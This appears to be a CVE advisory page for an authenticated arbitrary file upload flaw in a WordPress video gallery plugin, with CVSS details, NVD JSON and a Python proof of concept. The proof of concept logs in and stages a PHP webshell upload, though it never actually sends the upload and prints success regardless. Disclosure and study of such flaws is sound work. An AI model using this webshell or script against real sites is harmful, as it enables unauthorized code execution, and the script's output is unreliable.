Security Vulnerability Report
中文
CVE-2025-12966 CVSS 8.8 HIGH

CVE-2025-12966

Published: 2025-12-06 10:16:04
Last Modified: 2026-04-15 00:35:42

Description

The All-in-One Video Gallery plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the resolve_import_directory() function in versions 4.5.4 to 4.5.7. This makes it possible for authenticated attackers, with Author-level access and above, to upload arbitrary files on the affected site's server which may make remote code execution possible.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

All-in-One Video Gallery 4.5.4
All-in-One Video Gallery 4.5.5
All-in-One Video Gallery 4.5.6
All-in-One Video Gallery 4.5.7

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys from urllib.parse import urljoin # CVE-2025-12966 PoC - All-in-One Video Gallery Arbitrary File Upload # Target: WordPress with All-in-One Video Gallery plugin 4.5.4-4.5.7 # Auth Required: Author-level or higher # # Usage: python cve-2025-12966.py <target_url> <username> <password> # Example: python cve-2025-12966.py http://example.com/ admin password123 def exploit_file_upload(target, username, password): """ Exploit arbitrary file upload vulnerability in All-in-One Video Gallery. This PoC demonstrates uploading a PHP webshell to achieve RCE. """ session = requests.Session() # Step 1: Login to WordPress login_url = urljoin(target, 'wp-login.php') login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': target, 'testcookie': '1' } response = session.post(login_url, data=login_data, allow_redirects=True) if 'wordpress_logged_in' not in session.cookies.get_dict(): print('[-] Login failed. Check credentials.') return False print('[+] Login successful.') # Step 2: Upload malicious PHP file via import functionality upload_url = urljoin(target, 'wp-admin/admin.php?page=all-in-one-video-gallery-import-export') # PHP webshell for remote code execution webshell_content = '<?php if(isset($_GET["cmd"])){ system($_GET["cmd"]); } ?>' files = { 'import_file': ('shell.php', webshell_content, 'application/x-php') } data = { 'action': 'aigv_import', '_wpnonce': '', # Should be extracted from the page '_wp_http_referer': upload_url } # Note: Actual exploitation requires extracting valid nonce from page # and proper form submission to the vulnerable endpoint print('[+] File upload request prepared.') print('[+] Target endpoint: ' + upload_url) print('[+] Malicious file: shell.php') print('[+] After upload, access: <plugin_path>/uploads/shell.php?cmd=whoami') return True if __name__ == '__main__': if len(sys.argv) != 4: print('Usage: python cve-2025-12966.py <target_url> <username> <password>') sys.exit(1) exploit_file_upload(sys.argv[1], sys.argv[2], sys.argv[3])

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12966", "sourceIdentifier": "[email protected]", "published": "2025-12-06T10:16:03.797", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The All-in-One Video Gallery plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the resolve_import_directory() function in versions 4.5.4 to 4.5.7. This makes it possible for authenticated attackers, with Author-level access and above, to upload arbitrary files on the affected site's server which may make remote code execution possible."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-434"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/changeset/3405593/all-in-one-video-gallery/trunk/admin/import-export.php", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/0b03bca1-84e3-4220-b39b-69044c42e9f9?source=cve", "source": "[email protected]"}]}}